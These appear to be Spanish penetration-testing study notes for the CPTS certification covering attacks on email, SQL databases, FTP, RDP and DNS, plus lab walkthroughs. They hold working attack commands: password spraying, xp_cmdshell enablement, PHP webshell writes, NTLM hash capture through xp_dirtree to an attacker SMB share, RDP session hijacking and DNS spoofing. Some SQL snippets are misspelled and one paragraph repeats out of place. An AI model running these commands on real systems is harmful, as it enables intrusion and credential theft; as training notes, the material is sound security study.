Evolution es un cliente de correo como administrador de informacion y un cliente de correo para el escritorio de GNOME y asi poder interactuar para enviar y recibir mensajes
- Instalar Evolution
sudo apt install evolution
Si hay un error de bwarp al instalar: export WEBKIT_FORCE_SANDBOX=0 && evolution
- Conexion a IMAP y SMTP mediante Evolution (podemos usar la IP del servidor de correo o el nombre del dominio. Si se usa SMTPS o IMAPS se necesitara activar el TLS)
![[Pasted image 20260622095640.png]]![[Pasted image 20260622095659.png]]![[Pasted image 20260622095737.png]]![[Pasted image 20260622095805.png]]![[Pasted image 20260622095834.png]]![[Pasted image 20260622095850.png]]![[Pasted image 20260622095907.png]]![[Pasted image 20260622095933.png]]![[Pasted image 20260622095944.png]]![[Pasted image 20260622100003.png]]
Herramientas
![[Pasted image 20260622102310.png]]
![[Pasted image 20260622102323.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 3. Correos Electronico
2. Atacando Servicios De Correo Electronico
Cuando le damos a Enviar en nuestra aplicacion de correo se crea una conexion SMTP hacia el otro servidor. Cuando descargamos correos en nuestra aplicacion, esta se conecta a un servidor POP3 o IMAP4 que pemrite al usuario guardar mensajes en un buzon
POP3 por defecto elimina los mensajes descargados del servidor de correo dificultando el acceso del correo desde multiples dispositivos (aunque se suele configurar el servidor POP3 para que guarde las copias)
![[Pasted image 20260626134315.png]]
Enumeracion
Las empresas por lo general lo tienen en la nube bajo Microsoft 365 o GSuite
Podemos usar el registro DNS (MX) para identificar servidores de correo. MX especifica el servidor de correo responsable de aceptar mensjaes de correo en nombre de dominio
- Identificamos el servidor de correo (MX)
host -t MX DOMAIN
![[Pasted image 20260626134537.png]]
dig mx DOMAIN | grep "MX" | grep -v ";"
![[Pasted image 20260626134630.png]]
- Obtenemos la IP del servidor
host -t A MAILSERVER
![[Pasted image 20260626134714.png]]
PUERTOS A ENUMERAR:
![[Pasted image 20260626134838.png]]
- Enumeracion de la IP
sudo nmap -Pn -sS -sCV -p25,143,110,465,587,993,995 --min-rate 5000 IP
![[Pasted image 20260626134934.png]]
Malas configuraciones
Autenticaciones anonimas o admite protocolos que pueden ser usados para enumerar usernames validos
Autenticacion
1. Enumeracion de usuarios local
SMTP
SMTP tiene varios comandos que se pueden usar para enumerar nombres de usuario:
Si conseguimos usernames podemos tratar de hacer un password spraying, fuerza bruta…
- Probar VRFY (verifica si el nombre de usuario existe)
telnet IP 25
> VRFY USERNAME1
> VRFY USERNAME2...
![[Pasted image 20260626135313.png]]
- Probar EXPN (parecido a VRFY solo que se pueden usar listas de distribucion y esta listara todos los usuarios de la lista (las listas de distribucion suelen ser: all, empleados, soporte…))
telnet IP 25
> EXPN USERNAME1
> EXPN USERNAME2...
> EXPN LISTA_DISTRIBUCION
![[Pasted image 20260626135600.png]]
- Probar RCPT TO (identifica el destinatario del mensaje y se puede usar varias veces con un mensaje determinado antes de entregar)
telnet IP 25
> MAIL FROM:test@DOMAIN
> RCTP TO:USERNAME1
> RCTP TO:USERNAME2...
![[Pasted image 20260626135830.png]]
POP3
- Probar USER
telnet IP 110
> USER USERNAME1
> USER USERNAME2...
![[Pasted image 20260626140022.png]]
Automatizacion
smtp-user-enum: se puede usar VRFY, EXPN o RCPT
smtp-user-enum -M (VRFY, EXPN o RCPT) -U /USERLIST -D DOMAIN -t IP
![[Pasted image 20260626140159.png]]
2. Enumeracion de usuarios nube
Los servicios en nube suelen usar su propia implementacion con caracteristicas que se pueden abusar
O365spray: herramienta de enumeracion de nombres de usuario y pass spraying dirigida a MO365
- Validar si se esta usando 0365
python3 o356spray.py --validate --domain DOMAIN
![[Pasted image 20260626140500.png]]
- Identificar nombres de usuario
python3 o365spray.py --enum -U USERLIST --domain DOMAIN
![[Pasted image 20260626140617.png]]
3. Password Spraying
- Contrase servicios de correo locales (SMTP, POP3 e IMAP4)
hydra -L USERLIST -p 'PASS' -f IP (smtp,pop3,imap4)
![[Pasted image 20260626140920.png]]
- Servicios en la nube
Hydra suele estar bloqueado
o365spray o MailSniper para Microsoft Office 365
CredKing para Gmail u Okta
python3 o365spray.py --spray -U USERLIST -p 'PASS' --count 1 --lockout 1 --domain DOMAIN
![[Pasted image 20260626141108.png]]
Ataque especifico (Relay abierto)
Relay abierto es un servidor SMTP que esta malconfigurado y permite la retransmision de correo no autenticada
Estos permiten que los correos de cualquier fuente sean redirigidos de forma transparente a traves de este servidor
Enmascara el origen de los correo y hace parecer que se origino en el rele
Podemos usar esto para hacer phisings como usuario inexistente o suplantar correos de otras personas (spoofing)
Imagina que averiguamos el correo por el que la empresa contacta a los empleados, podremos hacernos pasar por ese correo origen y poner un link malicioso dentro
- Identificar si el smtp tiene relay abierto
sudo nmap -Pn -sS --script smtp-open-relay -p25 --min-rate 5000 IP
![[Pasted image 20260626142249.png]]
- Una vez que vemos que tiene open relay podemos conectarnos al servidor con cualquier cliente y enviar nuestro correo
swaks --from EJEMPLO@DOMAIN --to EJEMPLO@DOMAIN --header 'Subject: EJEMPLO' --body 'EJEMPLO http://URL/' --server IP_SMTP
![[Pasted image 20260626142457.png]]![[Pasted image 20260626142503.png]]
Ejemplo practico
-
Metemos en /etc/hosts el dominio
![[Pasted image 20260626142715.png]]
-
Realizamos una enumeracion de usuarios (VRFY no nos devuelve nada porque el servidor estara configurado para que no nos devuelva nada pero con RCPT si)
![[Pasted image 20260626142839.png]]
![[Pasted image 20260626142849.png]]
- Hacemos una fuerza bruta y encontramos la pass del usuario
![[Pasted image 20260626143130.png]]
- Nos conectamos a POP3 y leemos el unico mensaje que tiene
![[Pasted image 20260626143742.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 4. Bases De Datos
1. Bases De Datos (mssql, Linuxsqsh, Sqlcmd...)
Formas de interactuar
- Utilidades en lineas de comandos como mysql o sqsh
- Lenguajes de programacion
- Aplicacion GUI
Linea de comandos
MSQL
Para interactuar con MSSQL desde Linux podemos usar sqsh (Linux) o sqlcmd (Windows)
- SQSH (Linux)
sqsh -S IP -U USER -P PASS
- SQLCMD (Windows)
sqlcmd -S IP -U USER -P PASS
MySQL
- Linux
mysql -u USER -pPASS -h IP
- Windows
mysql.exe -u USER -pPASS -h IP
Usando GUI
MySQL tiene MySQL Workbench
MSSQL tiene SQL Server Management Studio o SSMS (solo Windows)
Podemos instalar una herramienta de bases de datos como dbeaver que permite interactuar multiplataforma (Linux, Windows y macOS) y admite multiples bases de datos (MySQL, MSSQL, PostgresSQL…)
- Instalar
sudo dpkg -i dbeaver-VERSION.deb
- Iniciar
dbeaver &
- Conexion a MSSQL
![[Pasted image 20260622101914.png]]
![[Pasted image 20260622101946.png]]
![[Pasted image 20260622102006.png]]
![[Pasted image 20260622102044.png]]
![[Pasted image 20260622102058.png]]
![[Pasted image 20260622102133.png]]
Herramientas
![[Pasted image 20260622102344.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 4. Bases De Datos
2. Atacando Bases De Datos SQL (mssql Y Mysql)
Bases de datos relacionales que almacenan los datos en talas, columnas y filas (MSSQL y MySQL)
Enumeracion
MSSQL - 1433/TCP y 1434/UDP o modo oculto 2433/tcp
MySQL - 3306/TCP
nmap -Pn -sVC -p1433 IP
Revela la version y nombre del host
![[Pasted image 20260625103749.png]]
Mecanismos de autenticacion
MSSQL admiten 2 modos:
- Windows authentication o Integrated: valor predeterminado y esta integrado con AD confiando en las cuentas de usuario y grupos Windows
- Mixed mode: mixto entre cuentas AD y SQL Server
MySQL tambien admite varios:
- Nombre usuario y contrarseña
- Autenticacion Windows (con un plugin)
CVE-2012-2122 MySQL 5.6.x: se enviaba repetidamente la contraseña incorrecta, se calculaba el timestamp en el que MySQL encontraba la contraseña correcta y se usaba para bypassear la autenticacion
Ataques especificos
Leer/Cambiar la base de datos
- Conexion a la base de datos
Default: autenticacion SQL
Autenticacion Windows:
- HOSTNAME\\USERNAME
- DOMAIN\\USERNAME
- .\\USERNAME
![[Pasted image 20260625105420.png]]
LINUX:
mysql -u USER -pPASS -h IP
![[Pasted image 20260625104610.png]]
sqsh -S IP -U USER -P 'PASS' -h
-h: apariencia mas limpia
![[Pasted image 20260625105033.png]]
o
impacket-mssqlclient -p 1433 USER@IP
![[Pasted image 20260625105148.png]]
WINDOWS:
sqlcmd -S SRVMSSQL SERVIDOR -U USER -P 'PASS' -y 30 -Y 30
-y -Y: apariencia mas limpia
![[Pasted image 20260625105041.png]]
Cambiamos el contexto a john
Comprobamos si es sysadmin
Verificamos si hay servidores linkeados
Vemos dos, el actual y local.test.linked.srv, ahi miramos la flag
![[Pasted image 20260628124434.png]]
![[Pasted image 20260628124454.png]]
![[Pasted image 20260628124535.png]]
Bases de datos predeterminadas
MySQL:
- mysql: contiene las tablas que almacenan info requerida por el servidor SQL
- information_schema: proporciona acceso a los metadatos
- performance_schema: monitoriea la ejecucion del servidor
- sys: objetos que ayudan a los administradores y desarrolladores a interpretar los datos recopilados
MSSQL:
- master: informacion de una instacia SQL Server
- msdb: usado por SQL Server Agent
- model: plantilla para cada nueva base de datos
- resource: base de datos de solo lectura que tiene objetos del sistema visibles
- tempdb: tiene objetos temporales para consultas SQL
Sintaxis
- Mostrar base de datos
MySQL:
SHOW DATABASES;
![[Pasted image 20260625110148.png]]
MSSQL: en sqlcmd hay que poner GO
SELECT name FROM master.dbo.sysdatabases
go
![[Pasted image 20260625110318.png]]
- Seleccionar una base de datos
MySQL:
USE basedatos;
![[Pasted image 20260625110428.png]]
MSSQL:
USE basedatos
go
![[Pasted image 20260625110510.png]]
- Mostrar tablas de la base de datos
MySQL:
SHOW TABLES;
![[Pasted image 20260625110637.png]]
MSSQL:
SELECT table_name FROM basedatos.INFORMATION_SCHEMA.TABLES
go
![[Pasted image 20260625110629.png]]
- Seleccionar todos los datos de una tabla
MySQL:
SELECT * FROM tabla;
![[Pasted image 20260625110807.png]]
MSSQL:
SELECT * FROM tabla;
go
![[Pasted image 20260625110815.png]]
Ejecutar comandos
En MSSQL
xp_cmdshell: caracteristica deshabilitada por defecto que permite ejecucion de comandos en el sistema
- Habilitar xp_cmdshell
EXECUTE sp_configure 'show advanced options', 1
go
RECONFIGURE
go
EXECUTE sp_configure 'xp_cmdshell',1
go
RECONFIGURE
go
Cambiamos el contexto a john
Comprobamos si es sysadmin
Verificamos si hay servidores linkeados
Vemos dos, el actual y local.test.linked.srv, ahi miramos la flag
![[Pasted image 20260628124425.png]]
![[Pasted image 20260628124507.png]]
![[Pasted image 20260628124527.png]]
2. Ejecutar comandos
xp_cmdshell 'COMANDO'
go
Escribir archivos locales
MySQL:
MySQL NO tiene xp_cmdshell
Si esta relacionada con una web podemos escribir un archivo en el lenguaje de la web con un webshell o reverse shell y luego navegar en el directorio
- Revisar permisos
secure_file_priv:
- Vacia = ningun efecto
- Nombre de directorio = servidor limita operaciones de importacion y exportacion para que funcionen solo en ese directorio
- NULL = se deshabilitan operaciones de importacion y exportacion
show variables like "secure_file_priv";
![[Pasted image 20260625125420.png]]
- Escribir archivo local
SELEC "<?php echo \\SHELL_Exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'
![[Pasted image 20260625125015.png]]
MSSQL:
- Habilitar permisos:
sp_configure 'show advanced options',1
go
RECONFIGURE
go
sp_configure 'Ole Automation Procedures',1
go
RECONFIGURE
go
- Crear el archivo
DECALRE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FyleSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE 'OpenTextFile', @File OUT, 'C:\ineput\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Nullm 'WEBSHELL PHP'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
go
![[Pasted image 20260625125949.png]]
Leer archivos locales
MSSQL:
Lo permite de forma predeterminada
SELECT * FROM OPENROWSET(BULK N'C:/RUTA/ARCHIVO'SINGLE_CLOB) AS Contents
go
![[Pasted image 20260625130252.png]]
Cambiamos el contexto a john
Comprobamos si es sysadmin
Verificamos si hay servidores linkeados
Vemos dos, el actual y local.test.linked.srv, ahi miramos la flag
![[Pasted image 20260628124410.png]]
![[Pasted image 20260628124510.png]]
![[Pasted image 20260628124523.png]]
MySQL:
NO lo permite de forma predeterminada
- Comprobamos permisos:
secure_file_priv:
- Vacia = ningun efecto
- Nombre de directorio = servidor limita operaciones de importacion y exportacion para que funcionen solo en ese directorio
- NULL = se deshabilitan operaciones de importacion y exportacion
show variables like "secure_file_priv";
![[Pasted image 20260625125420.png]]
- Leemos
select LOAD_FILE("/RUTA/ARCHIVO");
![[Pasted image 20260625130438.png]]
Capturar el hash del servicio MSSQL
Parecido a robar hashes enseñado en [[2. Atacando SMB]]
En este caso en MSSQL usaremos xp_subdirs y xp_dirtree que usan protocolos SMB para recuperar una lista de directorios secundarios bajo un directorio principal
Cuando apuntamos estos a nuestro servidor SMB, este obligara a autenticarse y enviar el NTLM de la cuenta
- Iniciar Responder o Impacket-smbserver
sudo responder -I INTERFAZ
o
sudo impacket-smbserver ShareName ./ -smb2support
- Ejecutar xp_dirtree o xp_subdirs
EXEC master..xp_dirtree '\\IP_ATACANTE\ShareName\'
go
![[Pasted image 20260625131341.png]]
EXEC master..xp_subdirs '\\IP_ATACANTE\ShareName\'
go
![[Pasted image 20260625131348.png]]
![[Pasted image 20260625131354.png]]![[Pasted image 20260625131400.png]]
Hacerse pasar por un usuario existente con MSSQL
MSSQL tiene el permiso IMPERSONATE que nos permite asumir permisos de otros usuarios o iniciar sesiones
Se recomienda hacerlo dentro de la base de datos MASTER porque todos los usuarios tienen acceso a esta
- Movernos a Master
USE master
go
- Identificar los usuarios por los que nos podemos hacer pasar
SELECT distinc b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
go
![[Pasted image 20260625131707.png]]
- Verificar nuestro usuario y rol actual
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
go
![[Pasted image 20260625131741.png]]
0: NO tenemos rol de administrador pero podemos hacernos pasar por sa
- Hacernos pasar por un usuario y comprobamos sus privs
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
go
![[Pasted image 20260625131932.png]]
- Ejecutar comandos (visto en este mismo en xp_cmdshell)
- Volver a nuestro usuario
REVERT
Comunicarse con otras bases de datos
Esto permite que la base de datos ejecute una declaracion Transact-SQL que incluye tablas en otra instancia de SQL Server u otro producto como Oracle
Si accedemos a un SQL Server con un servidor vinculado es posible que podamos movernos lateralmente
- Identificar servidores vinculados
SELECT srvname, isremote FROM sysservers
go
![[Pasted image 20260625132915.png]]
0 = VINCULADO
1 = NO VINCULADO
- Identificar el usuario usado para la conexion y sus privilegios. Usamos EXECUTE para mandar comandos a servidores vinculados
EXECUTE('select @@servername, @@version, system_user, is_srvrolename('sysadmin')') AT [IP\SQLEXPRESS]
go
![[Pasted image 20260625133207.png]]
Vemos que podemos ejecutar comandos privilegiados, leer y escribir (1=sysadmin)
Para ejecutar comandos a la vez en el host remoto podemos dividirlos con ; mediante EXECUTE + xp_cmdhshell
Ejemplo practico
- Nos conectamos y miramos las bases de datos disponibles
![[Pasted image 20260625134150.png]]
- Buscando no encontramos el la credencial en ninguna base de datos y no podiamos entrar a flagDB por lo que intentamos capturar el hash
![[Pasted image 20260625135059.png]]![[Pasted image 20260625135122.png]]![[Pasted image 20260625135112.png]]
![[Pasted image 20260625135613.png]]
- Nos conectamos como mssqlsvc y obtenemos la flag
![[Pasted image 20260625140226.png]]![[Pasted image 20260625140239.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 5. FTP
1. FTP
Herramientas
![[Pasted image 20260622102409.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 5. FTP
2. Atacando FTP
Protocolo para la transferencia de archivos entre computadoras
Puerto: 21/TCP
Enumeracion
sudo nmap -sS -sCV -p21 IP
![[Pasted image 20260622104438.png]]
Configuraciones incorrectas
Autenticacion anonima
ftp IP
> anonymous
> Enter
> ls
> get/put archivo
> mget/mput directorio
> help
![[Pasted image 20260622104539.png]]
Ataques especificos
Fuerza bruta
Medusa
| Parametro |
| -u USER |
| -U USERLIST |
| -p PASS |
| -P PASSLIST |
| -M PROTOCOLO |
| -n PUERTO |
medusa -u USER -P /PASSLIST -h IP -M PROTOCOLO -n PUERTO
![[Pasted image 20260622105312.png]]
Ataque de rebote FTP o bounce FTP
Usar a los servidores FTP para enviar trafico saliente a otro dispositivo de red y obtener informacion de estos ultimos
EJEMPLO: apuntamos a FTP_DMZ (expuesto a internet) y usamos su conexion para escanear el host Internal_DMZ (interno a la red) y obtener informacion de puertos sensibles abiertos
![[Pasted image 20260622105616.png]]
sudo nmap -Pn -sS -n -p80 -b anonymous:password@IP_DMZ IP_INTERNAL
-b: nos dira si el servidor puede hacer bounce FTP
Ejemplo practico
- Escaneamos los servicios
![[Pasted image 20260622115901.png]]
- Nos conectamos con anonymous
![[Pasted image 20260622115913.png]]
- Realizamos fuerza bruta con los archivos conseguidos
![[Pasted image 20260622120438.png]]![[Pasted image 20260622134206.png]]
- Nos conectamos con las credenciales y obtenemos la flag
![[Pasted image 20260622134219.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 5. FTP
3. Ultimas Vulns De FTP
Se usa en servidores FTP que no procesan bien el PUT y generan pàth traversal, authenticated directory y arbitrarh file write vulns
Nos deja escribir archivos fuera del directorio
Concepto
El servidor usa POST para cargar archivos pero podemos usar PUT para escribir contendio en archivos
curl -k -X PUT -H "Host: IP" --basic -u USER:PASS --data-binary "CONTENIDO" --path-as-is https://IP/../../../../../ARCHIVO
![[Pasted image 20260624125600.png]]
Se crea una solicitud PUT con autenticacion basica (USER:PASS) y creamos el archivo en la ruta especificada
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 6. RDP
1. Atacando RDP
Proporciona una GUI para conectarse a otra maquina a traves de una conexion red
Puerto 3389/TCP
Enumeracion
sudo nmap -Pn -sS -sVC -p3389 --min-rate 5000 IP
![[Pasted image 20260626100721.png]]
Configuraciones incorrectas
Hay que tener en cuenta la politica de contraseñas para que no nos bloqueen o deshabiliten temporalmente
Password Spraying
Crowbar: permite hacer pass spraying a RDP
-
Creamos la lista de usuarios
![[Pasted image 20260626100934.png]]
-
Realizamos el password spraying
crowbar -b rpd -s IP_DESTINO/mascara -U ARCHIVO -c 'PASS'
![[Pasted image 20260626101036.png]]
HYDRA -L ARCHIVO -p 'PASS' IP rdp
![[Pasted image 20260626101136.png]]
- Iniciamos sesion en el sistema
rdesktop -u USER -p PASS IP
![[Pasted image 20260626101233.png]]![[Pasted image 20260626101239.png]]
Ataques especificos
Secuestro de sesion
CONTEXTO: cuenta con privs de administrador local
Si hay otro usuario conectado a la maquina a la que nos hemos conectado, podemos secuestrar su sesion y hacernos pasar por ese usuario
- Abrir PS como Admin y verificar usuarios que tienen una sesion iniciada en el host
query user
![[Pasted image 20260626101541.png]]
- Si tenemos SYSTEM privs podemos usar tscon.exe para conectarnos a la otra sesion de escritorio
tscon SESSION_ID_OBJETIVO /dest:NUESTRA_SESSION_NAME
- Si no tenemos privs SYSTEM podemos usar PsExec o Mimikatz para escalar. Creamos un servicio Windows que se ejecute como SYSTEM, esto se hace usando sc.exe
sc.exe create NOMBRE_SERVICIO_INVENTADO binpath='cmd.exe /k tscon ID_OBJETIVO /dest:NUESTRO_SESSION_NAME'
Luego iniciamos el NOMBRE_SERVICIO_INVENTADO:
net start NOMBRE_SERVICIO_INVENTADO
![[Pasted image 20260626102106.png]]
![[Pasted image 20260626102214.png]]![[Pasted image 20260626102220.png]]
PtH
Salvedades:
- Restricted Admin Mode: esta deshabilitado de forma predeterminada y debe estar habilitado en el host destino, sino saldra el siguiente error:
![[Pasted image 20260626102626.png]]
- Habilitar agregando un Registry Key a DisableRestictedAdmin (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa)
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestictedAdmin /d 0x0 /f
![[Pasted image 20260626102856.png]]
- Usar pth
xfreerdp3 /u:USER /pth:HASH /v:IP
![[Pasted image 20260626102938.png]]![[Pasted image 20260626102945.png]]
Ejemplo practico
- Nos conectamos via rdp y vemos el archivo
![[Pasted image 20260626103311.png]]![[Pasted image 20260626103347.png]]
-
Cambiamos el Resgistry Key
![[Pasted image 20260626103721.png]]
![[Pasted image 20260626103649.png]]
-
Nos conectamos via PtH como Administrator
![[Pasted image 20260626104006.png]]![[Pasted image 20260626104259.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 6. RDP
2. Ultimas Vulnerabilidades
CVE-2019-0708: Blueekepp. Usa solicitudes manipuladas para despues de inicializar la conexion poder ejecutar codigo arbitrario entre cliente y servidor (User-After-Free, no requiere que se active la autenticacion del usuario)
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 7. DNS
1. DNS
DNS traduce nombres de dominio a direcciones IP
Puerto 53/UDP y 53/TCP
Enumeracion
sudo nmap -Pn -sS -sVC -p53 --min-rate 5000 IP
![[Pasted image 20260626105131.png]]
Transferencia de zona DNS
Una zona DNS es un espacio de nombres DNS administrado por un organizacion o administrador especifico
Se usan transferencias DNS para copiar la base de datos de un administrador/organizacion DNS a otro servidor DNS (y a menos que este configurado correctamente cualquiera puede hacer una transferencia de zona DNS)
- Transferencia de zona DNS
dig axfr @NAMESERVER.DOMAIN DOMAIN
![[Pasted image 20260626105530.png]]
- Fierce: enumerar los servidores DNS del dominio raiz y buscar transferencia de zona
fierce --domain DOMAIN
![[Pasted image 20260626105629.png]]
Adquisicion de dominios y enumeracion de subdominios
Un domain takeover ocurre cuando un atacante registra un dominio que ha caducado o ya no está registrado y pasa a controlarlo. Si una organización todavía hace referencia a ese dominio, el atacante puede utilizarlo para alojar contenido malicioso o enviar correos de phishing aparentando ser legítimo
Un subdomain takeover es un caso similar, pero afecta a un subdominio. Sucede cuando ese subdominio apunta mediante un registro CNAME a un servicio externo (como AWS, GitHub Pages o Azure) que ya no está configurado o ha sido eliminado. Si un atacante reclama ese recurso en el servicio externo, obtiene el control del subdominio y puede publicar contenido o realizar ataques utilizando un subdominio legítimo de la organización.
![[Pasted image 20260626110114.png]]
Si obtenemos anotherdomain.com tendremos el control de sub.target.com hasta que se actualice el registro DNS
Enuemracion de subdominios
- Enuermar subdominios: Subfinder o DNSdumpster enumeran subdominios de fuentes abiertas
./subfinder -d DOMAIN -v
![[Pasted image 20260626110412.png]]
Alternativa: Subbrute
git clone https://github.com/TheRook/subbrute.git >> /dev/null 2>&1
cd subbrute
echo "NAMESERVER.inlanefreight.com" > ./resolvers.txt
./subbrute.py DOMAIN -s ./names.txt -r ./resolvers.txt
![[Pasted image 20260626110653.png]]
- Enuemrar los alias de los subdominios
host SUBDOMAIN
![[Pasted image 20260626110813.png]]
support apunta a un deposito de AWS S3 que ha visitarlo en https://support.inlanefreight.com, vemos que es NoSuchBucket que indica que el subdominio es potencialmente vulnerable a toma de control
![[Pasted image 20260626110935.png]]
Suplantacion de DNS o envenenamiento de cache DNS
Alterar registros DNS legitimos con informacion falsa para redirifgir el trafico a un sitio web fraudulente
Rutas de ataque:
- Se intercepta la comunicacion entre usuario y servidor DNS para dirigir al usuario a un destino fraudulento (MITM)
- Se explota una vuln en el servidor DNS que nos permita controlar y modificar los registros DNS
Envenenamiento de la cache local
Ettercap o Bettercap
- Editamos /etc/ettercap/etter.dns: asignamos el nombre del dominio que queremos falsificar y la direccion IP del atacante a la que redirigiremos a los usuarios:
![[Pasted image 20260626112058.png]]
- Iniciamos Ettercap y buscamos hosts activos dentro de la red: Hosts>Scan for Hosts
- Agregamos la direccion IP destino a Target1 y agregamos la IP de gateway
![[Pasted image 20260626112213.png]]
- Activamos el dns_spoof: Plugins>Manage Plugins. Esto envia a la maquina destino la respuestas DNS falsas que resolveran el dominio en nuestra direccion IP
![[Pasted image 20260626112349.png]]
- Si en la maquina destino visitan el dominio se redigira a la pagina fake
![[Pasted image 20260626112434.png]]
Y si hacemos un ping desde la maquina comprometida veremos que resuelve en nuestra IP
![[Pasted image 20260626112519.png]]
Ejemplo practico
- Obtenemos el ns del dominio inlanefreight.htb
![[Pasted image 20260626114202.png]]
- Tratamos de hacer una transferencia de zona pero falla
![[Pasted image 20260626114223.png]]![[Pasted image 20260626114235.png]]
- Hacemos una busqueda en bases de datos publicas
![[Pasted image 20260626114949.png]]
- Intentamos hacer una transferencia de zonas en este nuevo subdominio
![[Pasted image 20260626115051.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 8. Skill Assessment
1. Facil
Dominio: inlanefreight.htb
Primer servidor gestiona correos electrónicos, clientes y sus archivos
- Introducimos el dominio en el /etc/host
![[Pasted image 20260626154909.png]]
- Realizamos un escaneo de servicios
![[Pasted image 20260626155647.png]]![[Pasted image 20260626155700.png]]
- Vamos probando cosas en diferentes servicios
![[Pasted image 20260626160752.png]]
![[Pasted image 20260626160759.png]]
![[Pasted image 20260626160740.png]]
- Encontramos enumerando los usuarios de SMTP el usuario “[email protected] “
![[Pasted image 20260626161052.png]]![[Pasted image 20260626162959.png]]
- No nos deja loggearnos en FTP por lo que intentamos en MySQL. Al intentar buscar algo en las bases de datos y no encontrar nada tratamos de ver si tenemos privs para leer directamente el archivo
![[Pasted image 20260626163352.png]]![[Pasted image 20260626163520.png]]
![[Pasted image 20260626163853.png]]![[Pasted image 20260626164043.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 8. Skill Assessment
2. Medio
Segundo servidor que gestiona y almacena correos electrónicos y archivos, y sirve como copia de seguridad de algunos de los procesos de la empresa
- Enumeracion del host
![[Pasted image 20260626200333.png]]
- Probamos diferentes cosas en los servicios expuestos
![[Pasted image 20260626200433.png]]
![[Pasted image 20260626200923.png]]![[Pasted image 20260626200943.png]]![[Pasted image 20260626201744.png]]
- No encontramos nada asique miramos todos los puertos por si hay algo que nos hayamos dejado
![[Pasted image 20260626201759.png]]
![[Pasted image 20260626202010.png]]
- Nos podemos conectar sin creds a este nuevo ftp
![[Pasted image 20260626202152.png]]
- Usamos el archivo para ver si sirven las creds para simon
![[Pasted image 20260626202347.png]]
- Nos conectamos y obtenemos la flag
![[Pasted image 20260626202419.png]]![[Pasted image 20260626202437.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 2. Atacando Servicios Comunes / 8. Skill Assessment
3. Dificil
Ultimo servidor interno utilizado para gestionar archivos y material de trabajo y se utiliza una base de datos en el servidor
- Enumeramos el host
![[Pasted image 20260628122413.png]]
- Entramos a smb como anomimo y conseguimos los archivos necesarios
![[Pasted image 20260628122604.png]]![[Pasted image 20260628122612.png]]
- Hacemos fuerza bruta contra el usuario fiona
![[Pasted image 20260628123043.png]]
- Nos logueamos via RDP y una vez dentro podemos iniciar sesion como john en SQL Server y ejecutar comandos en sql linkeados remotos
![[Pasted image 20260628123129.png]]
Cambiamos el contexto a john
Comprobamos si es sysadmin
Verificamos si hay servidores linkeados
Vemos dos, el actual y local.test.linked.srv, ahi miramos la flag
![[Pasted image 20260628124613.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 1. Introduccion
1. Movimiento Lateral Vs Pivoting Vs Tunelizacion
https://www.drawio.com/
Movimiento lateral
Tecnica usada para ampliar nuestro acceso hacia hosts, aplicaciones o servicios adicionales. Tambien puede ayudarnos a obtener acceso a recursos especificos para elevar privs
Pivoting
Usar multiples hosts para cruzar limites de la red a los que antes no se tendria acceso. El objetivo es permitirnos adentrarnos mas en la red comprometiendo hosts o infraestructuras especificas
Tunelizacion
Usar varios protocolos para transportar el trafico de dentro y fuera de una red para que nuestro trafico no sea detectado. La clave aqui es la ofuscacion de nuestras acciones para evitar la deteccion
Se suele usar HTTPS o SSH
Conceptos para el pivoting
NIC e intefaces de red
DHCP ya sea dinamica o estaticamente nos asigna un NIC (Controlador de Interfaz de Red):
Comandos para Linux y Windows para ver nuestras interfaces (cada una tendra un identificador como ethX o tunX):
ifconfig
ipconfig
![[Pasted image 20260703140449.png]]![[Pasted image 20260703140500.png]]
Enrutamiento
Cualquier ordenador se puede convertir en un router y participar en el enrutamiento para darnos acceso a nuevas secciones de la red. Usaremos estos hosts para que nos enrute a esas nuevas secciones
Estas maquinas que actuan como routers tienen una tabla de enrutamiento que se usa para reenviar el trafico que les llega basandose en la direccion IP destino
netstat -r
ip route
![[Pasted image 20260703140829.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 3. Pivoting, Tunneling Y Port Forwarding / 2. Redireccion De Puertos (ssh, Tcp, Meterpreter...)
1. Redireccion De Puertos Local Via SSH Y Redireccion Socks Via Proxychains
Redireccion de puertos: tecnica que nos permite redirigir el trafico de un puerto a otro
Se suele usar TCP, SSH o SOCKS y suele ser EFECTIVO PARA EVADIR FIREWALLS usando servicios existentes en el host remoto
Redireccion local de puertos con SSH
![[Pasted image 20260703141842.png]]
- Hacemos que SSH este configurado para escuchar por el puerto 1234
- Cuando ejecutamos comandos hacia el host por el puerto 1234, SSH (puerto 22) los encapsula y reenvia 3306 (MySQL, en este caso localmente, podria ser a otra maquina de la red) interactuando con su servicio de base de datos y permitiendonos interactuar con MySQL como si estuviera localmente aunque no sea accesible desde nuestra maquina
